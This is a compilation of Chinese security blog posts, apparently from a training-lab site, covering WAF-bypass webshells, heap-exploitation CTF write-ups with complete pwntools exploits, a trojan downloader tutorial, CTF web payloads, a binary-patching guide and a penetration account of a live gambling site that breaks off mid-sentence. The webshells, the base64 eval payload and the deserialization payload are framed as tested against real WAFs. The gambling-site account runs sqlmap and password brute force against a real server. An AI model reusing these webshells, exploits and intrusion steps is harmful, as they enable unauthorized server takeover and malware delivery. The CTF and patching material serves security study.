绕过waf的另类木马文件攻击方法
很久没写文章了,继上次发先文章到今天已经很久了;很久没写文章了,继上次发先文章到今天已经很久了;今天突发异想;因为之前打了西湖论剑,遇到了宝塔的waf,最后也是过去了,便觉得另类的攻击方法值得写篇文章分享下;首先我打算分享几种。 一:动态调用        首先,一些waf会对文件内容进行检索,如果发现有什么危险的函数,或者有什么危害的逻辑,都会进行拦击,所以我们不能写入一些危险的函数,否则就会被ban掉,其实在实际的攻击中,也是存在和这次论剑web1一样的绕过方式,在我们真正恶意代码前加入大量杂糅字符进行绕过;然后对后缀进行换行绕过; 那么就会存在此次web1的动态调用解法; 写入<?php $_GET['0']($_GET['1']);?>我们在上传的文件中并没有出现什么危险的函数,而是通过后期的get传入进行动态调用从而执行命令;这样就会绕过上传时waf的检测;但是绕不过disable_function;; 载荷效果如下: 二:利用.htaccess文件 对于利用.htaccess文件的攻击方法,其实有很多方法;包括自我包含造成后门,或者auto_prepend_file文件,或者自定义报错目录然后利用包含报错写入木马最后自定义包含,AddType等等。当然如果想搞怪的话,也是可以利用.htaccess打出存储型xss的效果;但是这里主题分享如果过滤了内容中的一些敏感字符应如何。 比如过滤了<? 或者 <  ;这里也是老方法了;之前也写过,利用.htaccess进行编码的转化,base64或者UTF-7都可;我们只需要将木马文件进行相应的编码即可;这种方法可以绕过waf的检测,但是也是绕不过 disable_function; 三:利用文件修改文件造成木马 这种方式也确实值得分享,也是基于waf对我们的木马内容进行过滤;当我们无法上传带有危险函数的木马时;可以使用文件篡改文件的方法;这种方法基于第二种方法.htaccess无法传入的时候; 比如:先传入PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=命名为1.php;这里我们上传时waf自然不会检测到,因为我们确实没有危险函数;然后再次传入第二个没有高度危险函数的2.php代码: 代码逻辑简单,将我们的文件,进行了base64解密,然后写入的一个新的php文件中,这样避免了file_put_contents这个极大概率被ban的函数的出现,又成功的写入了文件,我们访问2.php,然后再访问s1mple.php就可以拿到shell;载荷效果如下: 四、利用低危木马; 基于第三种方法,我们如果不是拿权限的话,也是可以利用一些低危的操作,比如任意文件读取等等; 下面先来看这段getshell的代码 这段代码在之前可以绕过D盾,是基于注释的绕过;现在不确定还能否绕过;简单分析下逻辑;首先$s1mple得到本篇代码的所有内容;然后执行一个替换的语句;先释放出木马语句;然后再将php头换掉,保持了原本的php头;这样就释放出了木马,就可以通过get传参进行命令执行; 或者换种方法,这里我们可以直接file_get_contents函数进行攻击, <?php echo file_get_contents($_GET['a']);?> 这样也就可以达到任意文件读取,当然,因为php的特性,也可以对file_get_contents进行各种处理,使其绕过waf;也可以结合其他php的内置函数进行攻击,可以类比;这里不在细说; 五:利用逻辑问题 这种思想比较新颖;简单来说,我们并不是传入恶意代码,而是传入一段正常的代码,然后通过逻辑修改其运作走向,从而达到恶意执行,那么适合的就是pop链的构造了; <?php error_reporting(0); class s1mple{   public $A;   function __construct(){     $this->A=new hacker();   }   function __destruct(){     $this->A->action();   } } class hacker{   function action(){     echo "hello_hacker";   } } class evil{   public $data;   function action(){     eval($this->data);   } } unserialize($_GET['a']); 先来看正常的代码;这段代码中我们按照正常的逻辑分析,肯定是没有问题的;但是我们可以利用逻辑,改变其执行的走向从而进行对象注入达到攻击; O:6:"s1mple":1:{s:1:"A";O:4:"evil":1:{s:4:"data";s:10:"phpinfo();";}} 在我们一般的上传中,往往是图片,就单代码而言,其大小是微乎其微的;所以在实战中也可用到;而且很难被检测到;当然,这只是一种方式,也可以结合回调函数和其他的函数,可以将其隐藏起来,然后利用pop触发;而且如果代码伪造的合适的话,也是可以骗过管理员从而避免被管理员删除的; 六、利用过宝塔waf思路另辟蹊径绕过waf 宝塔的waf对于文件明后缀的检测,是可以通过换行进行绕过的;就譬如我们在例子一中说的那样,那么我们除了对于我们后缀进行换行绕过,我们也可以考虑对我们的filename做手脚;对filename做换行,也可以绕过; 以上这些方法也算是新式方法,当然也可以考虑异或或者自增的木马,也可以通过混淆进行攻击,都可;但是实际中这些往往会被检测,上述的几种方法都是测试后可绕过D盾或者绕过宝塔的方法,供参考;另外一些方法需要可以首先绕过上传对后缀的检测,比如可以换行绕过宝塔对后缀的检测;如果可以上传php,那么以上方法即可任意发挥攻击。 相关实验--https://www.yijinglab.com/expc.do?ec=ECIDee9320adea6e062017110811103300001&pk_campaign=heetian-wemedia  通过该实验了解基于规则的WAF的工作原理,通过分析相关防御规则,尝试使用多种方法进行绕过,使读者直观感受攻防双方的博弈过程。
堆重启_uaf_hacknote
参考链接 http://blog.eonew.cn/archives/490 https://blog.csdn.net/weixin_44864859/article/details/107181869这里记录下经典的含有后门的UAF漏洞程序。 //hacknote    最简单的堆题目      libc 2.23 以及 含后门的UAF漏洞程序 //hacknote先看第一个含有后门的UAF漏洞程序: 查看文件相关属性及开启保护 32位elf程序,没有去符号。// 给源代码会更香。 只开启了NX保护。 $ file hacknote_backdoor  hacknote_backdoor: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked,  interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44ee75c492628b3691cdcdb07759e9bbe551644a, not stripped $ checksec  hacknote_backdoor   [*]      Arch:     i386-32-little     RELRO:    Partial RELRO     Stack:    No canary found     NX:       NX enabled     PIE:      No PIE (0x8048000) ida代码分析: add_note: 其中 print_note_content函数为: del_note: print_note: 另外程序中含有 后门: 思路: 创建2个0x18大写的chunk 此时: 然后依次删除 结构体下标为 0 和 1 然后我们申请 个 和固定大小一致的结构体即可。 往新申请的content_addr中 写入 后门函数地址。 最后只要 print 结构体即可 拿到shell。 完整exp: #coding:utf8 from pwn import * context.log_level="debug" p=process("./hacknote_backdoor") #p=remote("node3.buuoj.cn",29525) elf=ELF("./hacknote_backdoor") libc=ELF("/lib/i386-linux-gnu/libc.so.6") def add(size,content):   p.sendlineafter("Your choice :","1")   p.sendlineafter("Note size :",str(size))   p.sendlineafter("Content :",content) def delete(index):   p.sendlineafter("Your choice :","2")   p.sendlineafter("Index :",str(index)) def show(index):   p.sendlineafter("Your choice :","3")   p.sendlineafter("Index :",str(index)) ''' text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) print "text_base : "+hex(text_base) print "jiegoutishuzu : "+hex(text_base+0x202040) ''' magic=0x08048945 notelist=0x0804A048 add(0x18,"\x11"*8)  #1 #2 add(0x18,"\x22"*8)  #3 #4 #gdb.attach(p) delete(0) delete(1) #gdb.attach(p) pd=p32(magic) add(0x8,pd) #gdb.attach(p) show(0) p.interactive() 无后门的hacknote 如果题目把后门去掉呢?这里同时也去除了符号。除此之外,程序其它几乎一摸一样. $ file hacknote  hacknote: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a32de99816727a2ffa1fe5f4a324238b2d59a606, stripped $ checksec hacknote  [*]      Arch:     i386-32-little     RELRO:    Partial RELRO     Stack:    Canary found     NX:       NX enabled     PIE:      No PIE (0x8048000) 这里先把 此程序的 数据结构给写下呢。 typedef struct note //0x10 {     void (* puts)(note *);     char *note_content; }note; note *ptr[5]; 思路: 因为没有后门,那么首先的一件事就是 去leak libc. 这题在add函数中,maloc一个size=0x10的chunk作为note结构体,然后又申请一个任意大小(我们可控制的)的chunk作为note_content的指针。 所以 我们可以去申请一个unsigned 大小的chunk,然后再将它给delete掉,便可以leak libc_base, 嗯嗯,其实并不会,因为这题 在打印 note_content的时候,会调用 该结构体中的  void (* puts)(note *)函数。而在我们将它给delete 的时候会将它给置空。导致 无法进行 打印。那么我们要怎么做呢。 这里我原本去想,我们继续和上面有后门的时候一样操作,先申请两个 size不等于0x10的chunk,然后分别进行delete,然后再申请 一个size=0x10的chunk,并在新 malloc的chunk中 写入   void (* puts)(note ) 以及 __libc_start_main的got地址。但这样 我们接下来 就最多只能再malloc 两个结构体了。这样就无法完成 向 某一个 结构体中 void ( puts)(note *); 给改成 system了。//这里进行了尝试 og一个都不可以成功。 所以这里就需要另外的一种做法了。 刚才所说的思路,在首先进行申请两个 size不等于0x10的chunk,然后再将它分别删除,然后再申请,这无疑一下子 将fastbin上的free chunk给利用完了。 而因为 这题限制了 最多我们最多可malloc 5次。 于是 我们可以首先 申请一个 unsigned 大小的chunk,以及一个size=0x10 大小的chunk,然后将它们分别进行delete(这里要特别注意,先delete unsigned 的chunk,后delete 0x10的chunk,原因是 我们可重复对  0x10的结构体 含有的两个chunk 进行利用。) 最后还需要注意的一点就是 在 getshell的步骤中,我们构造pd2=p32(system_addr)+";sh",而不是 pd2=p32(system_addr)+p32(binsh),原因是 print函数中  传的参数是 *note_content . 完整exp : #coding:utf8 from pwn import * context.log_level="debug" p=process("./hacknote") #p=remote("node3.buuoj.cn",29525) elf=ELF("./hacknote") libc=ELF("/lib/i386-linux-gnu/libc.so.6") def add(size,content):   p.sendlineafter("Your choice :","1")   p.sendlineafter("Note size :",str(size))   p.sendlineafter("Content :",content) def delete(index):   p.sendlineafter("Your choice :","2")   p.sendlineafter("Index :",str(index)) def show(index):   p.sendlineafter("Your choice :","3")   p.sendlineafter("Index :",str(index)) ''' text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) print "text_base : "+hex(text_base) print "jiegoutishuzu : "+hex(text_base+0x202040) ''' notelist=0x0804A050 print "step1: leak libc "+"************************************************" add(0x68,"\x11"*8)  #0 #1 add(0x8,"\x22"*8)  #2 #3 #gdb.attach(p) delete(1) delete(0) #gdb.attach(p) puts_func=0x0804862B __libc_start_main=elf.got['__libc_start_main'] pd=p32(puts_func)+p32(__libc_start_main) add(0x8,pd) show(1) libc_base=u32(p.recv(4))-libc.symbols['__libc_start_main'] print "libc_base is : "+hex(libc_base) #binsh = libc.search("/bin/sh").next()+libc_base #print "binsh is "+ hex(binsh) system_addr=libc_base+libc.symbols['system'] print "system_addr is "+hex(system_addr) print "step2: get shell "+"*************************************************" delete(2) #gdb.attach(p) pd2=p32(system_addr)+";sh"#p32(binsh) add(0x8,pd2) #gdb.attach(p) show(1) p.interactive() 相关实验:https://www.yijinglab.com/expc.do?ec=ECIDf4f4-3f86-44b4-bd4c-e1c88520adde&pk_campaign=heetian-wemedia  在堆的情况下,当用户能够写入比预期更多的数据时,会发生内存损坏。通过本实验了解堆溢出,包括intra-chunk和inter-chunk两种类型,分别掌握其特点。
逆向入门分析实战(五)
相关阅读: https://www.yijinglab.com/specialized/20200318110936https://www.yijinglab.com/specialized/20200320140927https://www.yijinglab.com/specialized/20200728141909https://www.yijinglab.com/specialized/20200914131657本次是实现一个木马下载器(Trojan Downloader),从某个指定的URL中下载一个文件,并将其在后台偷偷运行起来。主要使用的API函数是URLDownloadToFile和W 这次分两步开发,第一步开发一个复制自身到C盘windows目录的程序,然后再开发一个木马下载器,同时进行逆向分析。 1开发复制自身的程序 VC6.0默认情况下代码高亮效果不好,安装VC++6.0助手后效果会变好很多,当然也可以使用visual studio。这个看个人喜好。 这段代码首先定义了一个copyself的函数,在copyself函数中首先定义了三个变量,其中前两个变量的数组长度为MAX_PATH,它是一个宏定义,大小为260。之后调用GetModuleFileName这个API函数,将当前运行程序的文件路径存入之前定义好的szSelfFileName变量,同理获得windows的路径。之后使用strcat函数将windows路径与“\\backdoor.exe”拼接,之后使用CopyFile将自身复制到C:\windows\backdoor.exe。 运行效果: 查看运行前后的C盘windows内容: 运行后发现多了一个backdoor.exe。 2 逆向分析复制自身的程序 使用ida打开,发现会弹出该对话框: 这是pdb调试文件,这是开发的时候发布的为debug版。如果修改为release版就没有pdb文件了: 这个pdb文件通常有时可以作为一个特征来筛选一个恶意软件,有时还会被设置IOC情报。所以有时需要关注pdb的相关信息。 main函数: 双击进入第一个call,这个call对应的就是copyself函数: 由于汇编语言太长,这里用VC6.0调试界面来展示: 直接看0040103E处开始的汇编语言,乍一看很复杂,看不懂。其中rep stos指令是repeat和store string的缩写,它循环执行stos指令,循环次数由ecx控制。stos的作用是将eax中的值复制到es:edi指向的地址。再看0040103E处的汇编语言就清晰易懂了,先给ebp-104h赋值0,给ecx赋值40h(十进制的64),然后eax清零,之后edi设置为ebp-103h,使用rep stos指令循环64次将eax赋值给edi指向的地址,由于是以dword进行循环,所以一共64*4=256个字节,再加上0040103E处的1个字节,加上0040105和00401056处 之后查看GetModuleFileName对应的汇编语言: 三个参数从右往左,第一个参数104h为十进制的260,第二个参数eax为初始化的变量ebp-104h,对应的是szSelfFileName,第三个参数为0,之后调用GetModuleFileName API函数。 使用VC6.0和使用ida的结果进行对比,虽然看起来不是很一样,但本质都是一样的。同理接下来调用GetWindowsDirectory,strcat和CopyFileA。对应的汇编基本上都相对容易看懂,此处就不再过多赘述了。之后就是if和else为一个分支判断: 最终结束运行。 3 开发木马下载器 C语言代码如下: 由于URLDownloadToFile需要Urlmon.lib,所以需要使用#pragma comment (lib,"urlmon")。URLDownloadToFile关键参数有两个,一个是要访问的URL,一个是要保存的文件路径。之后使用winexec函数运行下载后的程序,代码的实现很简单,主要就是两个api的调用。 使用另外一个机子,作为服务器,它的IP也就是URLDownloadToFile中的URL,我们将第一步开发的程序改名为test2.jpg,上传到该服务器上,然后使用如下命令开启web服务: 然后执行编译后的程序: 下载成功,并且会将其复制到c盘windows目录下。这里需要注意的是,需要先删除第一步复制自身到windows目录的程序执行后生成的backdoor.exe,否则会报错,错误码为80,使用VC6.0的工具查询: 4 逆向分析木马下载器 与之前类似,使用rep movs指令对一个数组循环赋值:之所以将ecx赋值为7,是因为我这里整个URL为28个字符。然后对剩余的全部赋值为0。 再调用URLDownloadToFile,然后使用cmp对比返回结果与800C0008h: 那么为什么要与800C0008h这个常量对比呢?按照我们开发时是INET_E_DOWNLOAD_FAILURE,当URLDownloadToFile返回结果为它时表示下载失败: 使用ida可以将其转换回来,操作步骤如下:选中这个常量,然后右键: 然后便弹出这个: 选中合适的符号命名常量,然后点击OK即可: 然后执行WinExec: 其中push 5为WinExec的第二个参数,使用同样的方法将其转换为常量: 转换后为SW_SHOW,与我们开发的一样。 5 总结 这次实现了木马下载器,思路和实现很简单,主要就是调用URLDownloadToFile和WinExec函数。被下载的木马主要是调用了GetModuleFileName和CopyFile等函数将自身复制到windows目录。目前市面上的杀软应该都会对URLDownloadToFile这些敏感的函数进行查杀,所以本次案例仅供学习逆向分析使用。 6 相关实验--https://www.yijinglab.com/expc.do?ec=ECID321a-87b0-45bf-a21b-a2c8ca7d1b00&pk_campaign=heetian-wemedia 本实验首先通过一个简单的破解实验和大家一起熟悉逆向工具的使用,接着借助一道0Ctf中的逆向题目和大家一起对一个二进制程序进行逆向分析
通过 realloc_hook 调整栈帧使 onegadget 生效
在某些堆的题目当中,由于限制只能使用 house of spirit 等方法劫持 malloc_hook ,这种情况一般是往 malloc_hook 写入 onegadget ,再次申请堆来 getshell 。 由于栈帧情况不满足,查询到的所有 onegadget 可能都打不通,这时就可以考虑下用 malloc_hook 和 realloc_hook 结合。先通过 realloc 调整栈帧,然后在运行 onegadget 。 了解realloc realloc 在库函数中的作用是重新调整 malloc 或 calloc 所分配的堆大小。它和 malloc 函数一样有 hook 函数,当 hook 函数不为空时,就会跳转运行 hook 函数(和 malloc_hook 一样的)。 看看 realloc 的汇编代码:(可以把 libc 拖到 ida 中看,也可以泄露地址后 gdb 调试查看 x /20i [addr]) 函数一开始有很多的 push ,realloc 函数先执行 push 压栈,然后在跳转执行 realloc_hook 存储的函数。我们就是利用这些 push 调整栈帧。push 的数量发生变化会影响 rsp 的地址,这样就可以控制 rsp 的取值,从而满足 onegadget 的执行条件。除了可以控制 push 数量,还能通过偏移得到其他的 push xxx 。 malloc_hook 与 realloc_hook 配合 将 malloc_hook 劫持为 realloc ,realloc_hook 劫持为 onegadget ,实际运行顺序: 这样就能经过 realloc 调整栈帧后再运行 onegadget 。实际情况中,并不是直接劫持 malloc_hook 为 realloc ,而是要加上一定的偏移,也就是调整 push 的数量,让栈帧结构满足 onegadget 运行。 realloc 这个偏移做题还是逐个试感觉快一点,因为设想是少一个 push ,rsp 就会向前移动一个内存单元,对应的 [rsp+0x30]=[rsp+0x38] ,但实际上有少部分位置可能被其他东西写入改变了原来的值。自行调试体会一下: 原理上是:少一个 push ,rsp 就会向前移动一个内存单元,对应的 [rsp+0x30]=[rsp+0x38],但实际部分位置的值会变,所以逐个试,速度可能比计算快。 例题 [V&N2020 公开赛]simpleHeap 基本功能 一个基本的堆管理器,有增删查改功能。各项功能都是基于下标序号定位操作,上限为10个堆,大小为大于 0 、小于等于 0x6f 。没有结构体,基于两个列表存储堆信息。 漏洞 在修改函数里,调用函数 sub_C39 完成对堆信息的修改。传入的参数如下: 在处理边界问题时,错误使用判断条件,导致溢出 1 字节,正确应该if(i>=size),具体逻辑如下: 思路 使用 off by one 伪造 chunk size,造成 chunk extend ,再利用 unsorted bin 的特点,泄露出 unsorted bin fd 指针的 libc 地址。 将上一步中的 chunk extend 剩下在 bin 中的内存申请出来,造成两个指针指向同一个地址,配合 edit 功能实现 houst of spirit ,劫持 __malloc_hook 。 实际测试后全部 onegadget 因为栈环境问题都无法打通,需要结合 malloc_hook 、 realloc_hook 调整栈环境才能打通。 溢出修改 chunk size 造成 chunk extend ,chunk0 用于溢出 chunk1 ,chunk2 用于读取 unsorted bin fd 指针,chunk3 防止 fake chunk 与 topchunk 合并。溢出 size 是经过计算符合 house of spirit 要求: 泄露 libc 地址后,将 bin 中剩余内存申请出来,该指针与 chunk2 指向相同地址,任选其一释放,再用另外一个修改 fastbin fd 指针: 正常来说将 malloc_hook 劫持为 onegadget 即可,但是测试发现这条题目的栈环境不满足全部 onegadget 条件,这就需要调整阵结构,使 onegadget 生效。需要配合使用 realloc_hook 和 malloc_hook。 将 malloc_hook 劫持为 realloc ,realloc_hook 劫持为 onegadget 。然后通过多次尝试确定偏移为 12 。 EXP roarctf_2019_easy_pwn 基本功能 一个堆管理器,有增删查改功能。所有功能都是基于列表的下标定位操作对象。用 3 个列表维护堆:chunk_inuse、chunk_size、chunk_ptr。 漏洞 在 edit 功能里面 sub_E26 函数,这个函数用来处理输入长度的,具体代码如下: 当我们要求写入的长度(input_length)大于堆 size 10 个字节时,就可以写入 size + 1 字节,造成 off by one 。 思路 这条题目和 [V&N2020 公开赛]simpleHeap思路一样。 使用 off by one 伪造 chunk size,造成 chunk extend ,再利用 unsorted bin 的特点,泄露出 unsorted bin fd 指针的 libc 地址。 将上一步中的 chunk extend 剩下在 bin 中的内存申请出来,造成两个指针指向同一个地址,配合 edit 功能实现 houst of spirit ,劫持 __malloc_hook 。 实际测试后全部 onegadget 因为栈环境问题都无法打通,需要结合 malloc_hook 、 realloc_hook 调整栈环境才能打通。 EXP 相关实验推荐--https://www.yijinglab.com/expc.do?ec=ECIDf4f4-3f86-44b4-bd4c-e1c88520adde&pk_campaign=heetian-wemedia
对ciscn final的web的小解析
1 Web 输入1点击输入框后会显示如下参数: 看下源码能得到这么两句sql语句: 会发现左右过滤不相同,尝试如下可以把limit语句注释掉: 此时sql语句变成: 空格被过滤了,可以考虑\t或\n来绕过,因此输入如下会发现语句执行成功: or 1=1发现等于号被过滤,fuzz一下能得到部分可用函数,且左边没有过滤减号: 过滤逗号可以采用from(1)for(1)的形式来绕过。 盲注脚本: 2 Web2 比赛没咋看这个题,源码只存了个app.js跑不起来就没复现,大概看了一下是原型链污染。 player是一个字典,注意到: 因为monster也是一个字典,且存在hp,并且我们是先攻击怪兽,因此我们污染buff的话就可以一刀秒了boss,然后就是用这一个循环进行污染: 传入: 那么就会把玩家的buff污染为1000,那么看到伤害的计算: 攻击+buff,也就是说这里就可以让玩家攻击无限大直接秒了boss了。 本地测试可以发现如下: 打败boss即可getflag。 3 Web3 Web3其实考了两个点一个是反序列化逃逸,一个是反序列化串中的s替换为S时可以把字符串用16进制表示,个人感觉这个题其实就是0ctfpiapiapia+强网杯2020的web辅助。 wwwroot.zip源码泄露。 给了一个user类,逃逸点在于: 至于从哪里进行序列化串的传入,看到: 先说我们传入的虽然是一个数组, 但因为waf处如果我们传入一个flag,就会被替换为index,此时长度差为1。 在这里会把我们的序列化串waf后再反序列化,我们利用它可以逃逸出来一个user对象。 waf的话可以使用s替换为S以此使用16进制来表示flag.php来绕过,这一个过滤限制了我们只能使用old_password字段,否则的话可以采用gopher替换为index来吃掉部分序列化串。 需要伪造的序列化串为这么一串东西,长度为196,所以这里需要196个flag替换为index: 本地模拟一下过waf会发现这里长度980其实就是index的长度总和: 那么余下的序列化串理所当然就逃逸出去了。 update_username=1&old_password=flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagf 当然了如果没有前面对字段的格式过滤,也可以采用如下的payload: update_username=1&old_password=1&update_password=1&updat
一次文件上传,我的网站被拿下了服务器控制权
导语 高一,因为网站被别人黑了,于是开始接触网络安全..... 大家好,我叫Yeuoly,今年高中毕业,准大一新生。 接触网安,还是因为我高一的时候,自己搭建了一个网站,我朋友给我网站的服务器上传了个这样的PHP文件,两分钟就拿下了我服务器的控制权。 也是这以后,我开始重视安全问题,但是当时完全没有方向,仅仅是因为遇到了问题就去学,印象深刻的是我学习XSS的时候,当时花了一天半左右的时间才搞明白什么是XSS,而当我转头一看,我的网站早就被我那个朋友XSS了,甚至还在数据库里留下了到此一游的记录。发现自学的效率实在不高。但当时重心还是在高考,这个只是兴趣学习。 直到高考毕业后我发现,十个人填志愿七个选计算机专业,就算第一年不是第二年也会想方设法转去计院,而现在的计算机行业也越来越难找工作,想着计算机市场后面肯定会饱和,又了解到网安专业缺人的现状与高待遇,我个人认为网安今后肯定是个非常好的发展方向,于是想系统学习网安这块,自己也尝试去找过一些大佬推荐的学习路线学习,但是大佬们列出的学习路线也是各不相同,不知道哪条适合自己,自己的自学能力又远不如tk教主那些大佬。 很偶然的机会,在B站看到了蚁景的培训课程,为了看这个课程靠不靠谱,我几乎翻完了蚁景B站账号的所有发言记录和网安实验室与腾讯课堂的评论区,又听了胖白老师的公开课,发现公开课内容很足,老师讲课也幽默风趣,然后就咨询了班主任,了解到学习周期不长、在线直播上课,还有学员间的SRC经验分享,学费也不算很贵,所以就报名了。 2 高考完第二天,我就报名了蚁景的《Web安全0基础到精通》的课程,但开课那几天刚好去了上海,落下了一些课,后来为了赶上进度,经常学到半夜,遇到不懂的问题,也经常半夜请教老师,这也是我报名这次课最大的收获之一,几个老师都非常耐心,能学到非常多东西,而且他们还都是dalao,想象一下,曾经遥不可及的那些人,现在你可以随便打扰,这大概就是我的感受。 课程学到快一半的时候,我就开始尝试用老师教授的知识去各大SRC平台挖洞,开始挖洞总是不会很顺利的,一堆没有通过的漏洞。  但后面,尝试了多次之后,效果也是很明显的,下面是我第一次通过的一个1K的漏洞,通过时的喜悦是不言而喻的。后面陆陆续续也挖到了些大大小小的漏洞,目前我在8月BILISRC排名第一,全年排名十二。 当然,我只是介绍我自己的入门之路,我深知还有很多大佬比我厉害得多得多得多,越学到后面就发现自己的知识储备太少了,还需要沉下心来不断的充电学习,但是学习的方向很明确了,也算是双脚踏进了网安之门。 3 课堂上的学习能让我们了解新的知识,老师给我们指引方向,但如果想要更快的进步,更多的需要课后的练习,自己日复一日的积累。没有哪个行业是容易的,网安也是如此。尽管Web安全的课程结束了,但我依然坚持拓展,学习的过程是繁琐和痛苦的,但只要肯用心学习,能静下心,结果总会是美好的。感谢曾经2个多月前自己的选择,让我更明确网安的学习方向和坚定选择网安的决心。
Pwn之简单patch
亲爱的,关注我吧 文章共计1389个词 图片xue微有点多 注意流量哦 预计阅读7分钟 来和我一起阅读吧 ≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈ 1 引言 在攻防的时候不仅仅需要break,还需要fix将漏洞patch上。 2 工具  这里我使用的是keypatch这个ida脚本 下载地址:https://github.com/keystone-engine/keypatch/blob/master/keypatch.py 3 栈溢出的patch 漏洞原理 由于输入函数的输入长度超过了局部变量所开辟的空间,因此使得输入能够覆盖到返回地址 patch 简单了解原理之后,我们可以知道,栈溢出起始就是输入的长度过大,那么我们将输入长度修改到局部变量开辟空间的范围内即可 例子 32为情况下 我们可以看到,buf距离ebp(栈底)距离0x28,但是输入却能够输入0x100,很明显的栈溢出漏洞 可以看到这里参数为0x100,因为32位程序是通过栈传参的。 再装好keypatch之后,会在Edit选项栏中出现keypatch的选项,接着选中参数0x100,点击patch 将长度改成小于0x28即可,这里需要注意输入长度要为16进制。这里输入输入3个nop指令是因为这条指令本身Size为5,然后push 0x20为2,因此需要填充三个nop与原本的Size一致。 修改完毕后,保存即可 64位情况下 我们知道64位下是通过寄存器传参数的,因此我们再找长度的参数时,找到相应的寄存器即可 例如read函数的长度参数是通过rdx(edx)传入的,找到相应的寄存器按照上面方法修改即可。 4 格式化字符串的patch 漏洞原理 格式化字符串的漏洞是因为,程序中存在着格式化字符串输出函数,典型的printf,但是printf,只有格式化字符串参数,而没有后续的参数一,参数二,并且格式化字符串参数由我们所控制,从而导致了任意地址读写的漏洞触发。 例子 题目中存在着典型的格式化字符串漏洞,那么修改漏洞有几种方法,例如将printf函数修改为puts函数或者添加%s的参数。 方法一 若程序中即存在printf函数,又存在puts函数,那么我们可以将printf函数修改为puts函数 我们找到puts函数的plt表地址,因为puts函数也是带一个参数,并且puts函数与printf函数的plt表地址长度一致,因此直接修改不会造成程序down掉 修改成puts函数的地址 修改成功后的效果,但是puts函数与printf函数还是有一点点区别的,因为puts函数是自动在输出的字符串尾部加入一个回车符,在有些比赛的check脚本中是通过比较两次输入与输出是否全等,就会导致这种patch方法不能过关。 方法二 加入一个%s参数 可以看到除了传递格式化字符串参数以为,程序还存在mov eax,0,我们可以利用该指令修改,但是想要修改为%s还有一个问题,程序中不存在%s这个字符,就需要我们手动添加进去 我们可以在.eh_frame这个段中填入%s这个字符串,这个段中的信息不会影响程序的正常运行。 记住填入的地址0x400c01 mov edi, offset 0x400c01; mov rsi,offset format; 完成参数修改 修改完成 堆之uaf漏洞 堆中较为常见的漏洞use after free 漏洞原理 由于堆块释放后没有给指针置空,使得被释放的堆块能够被修改或者重复使用,导致漏洞 例子 free完之后没有将指针置空,很明显的uaf漏洞,想要修补uaf漏洞,则将free之后的指针置空即可 可以看到在调用完free之后,没有多少空间可以写下新的汇编代码,因此需要与上一个方法一致,跳转到.eh_frame段上 将call free指令修改为跳转指令,在.eh_frame段上写汇编代码 call 0x900;           #调用free函数 mov     eax, [rbp-0xc]; #取出下标值 cdqe; lea     rdx, ds:0[rax*8]; lea rax, qword ptr [heap]; mov r8,0; #段地址不能直接赋予立即数 mov [rdx+rax],r8; jmp 0xD56; patch效果 5 总结 对于栈溢出来说,patch比较简单,只需要修改输入长度即可 对于格式化字符串漏洞来说,若有puts函数则将printf函数修改为puts函数,若没有则在.eh_frame段上创造%s 对于堆的uaf来说,漏洞patch思路很简单,只需要将指针置空即可,但是需要了解汇编代码。 6 参考文章 https://xz.aliyun.com/t/58687 相关实验--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014103116591300001&pk_campaign=heetian-wemedia  PWN是CTF竞赛中的主要题型之一,主要考查参赛选手的逆向分析、漏洞挖掘以及Exploit编写能力。通过由浅入深的方式,一步一步讲解栈溢出攻击原理与实践,同时详细介绍了Linux下GDB调试器的基本使用方法。
某菠菜网站渗透实战
文章共计1769个词 预计阅读7分钟 来和我一起阅读吧 ≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈ 1前言 最近听说用某棋牌产品建的站存在SQL注入,刚好别人发来一个 渗透惯用套路一把梭 信息收集 -> 漏洞探测/利用 -> 提权/权限维持 -> 清理痕迹 2 信息收集 浏览器访问主页初步发现 系统:Windows server中间件 IIS7.5语言:ASPX 端口扫描 nmap -sV -T4 -p- 11x.xx.xxx.xx 开放的端口真不少其中web服务的有几个:80(当前主页)、81、82、88、4700181:是这个棋牌站的后台82:也是个后台,不知道是什么系统的后台,有验证码88/47001:访问失败 1433:数据库 mssql 还开了 139、445 但是被过滤了,不知道是不是有防火墙,后面再看 敏感目录扫描 先用 Dirsearch 过一遍,前面搜集到网站语言是 aspx,加上 -e 指定语言 python dirsearch.py -u http://11x.xx.xxx.xx -e aspx 再用 7kbscan 过一遍,毕竟这里面收集的都是国人常用的字典 /m/ 是用户注册页面,可能有用,先记着 /test.html是调起微信的入口,没啥用,可能是在手机端引导受害者聊天的吧 查IP 北京某个运营商的服务器,菠菜在国内服务器建站挺大胆的 信息整理 估计就是个人建的小站,不去展开收集更过的东西了,免得打偏浪费时间 3 漏洞探测 重点先放在前面找到的 81 端口,也就是网站的后台管理页面 没有验证码,用户名 / 密码随便写个 admin / admin,抓包 用户名加了个引号发送请求直接返回报错了,不出意外应该会有报错注入或者盲注啥的 兵分两路 一路把这个数据包保存到本地 qipai.txt,用 sqlmap 去扫,前面已经知道是 mssql 数据库,加上 --dbms 参数指定数据库类型节约时间 python sqlmap.py -r qipai.txt --dbms "Microsoft SQL Server" --dbs 另一路,把数据包发送到 intruder 模块去爆破密码,尝试了在浏览器随便输入用户名,提示 "用户名不存在",输入 admin 的时候提示 "用户名或密码错误",说明 admin 账户是存在的,只爆破密码就行 爆出密码 888999,弱口令,永远滴神! 成功登录后台 只有 69 个注册用户,剩下的全是机器人,这 69 个用户冲了 143 万?玩棋牌的都这么有钱吗,我欢乐斗地主都舍不得冲 6 块首充 赌博沾不得呀,这个老哥一天输了 2800 在后台翻了半天没找到上传点,先放着 回到另一路 sqlmap 看看,确定存在注入,已经在慢慢跑库名了 跑出 16 个库,根据名字猜 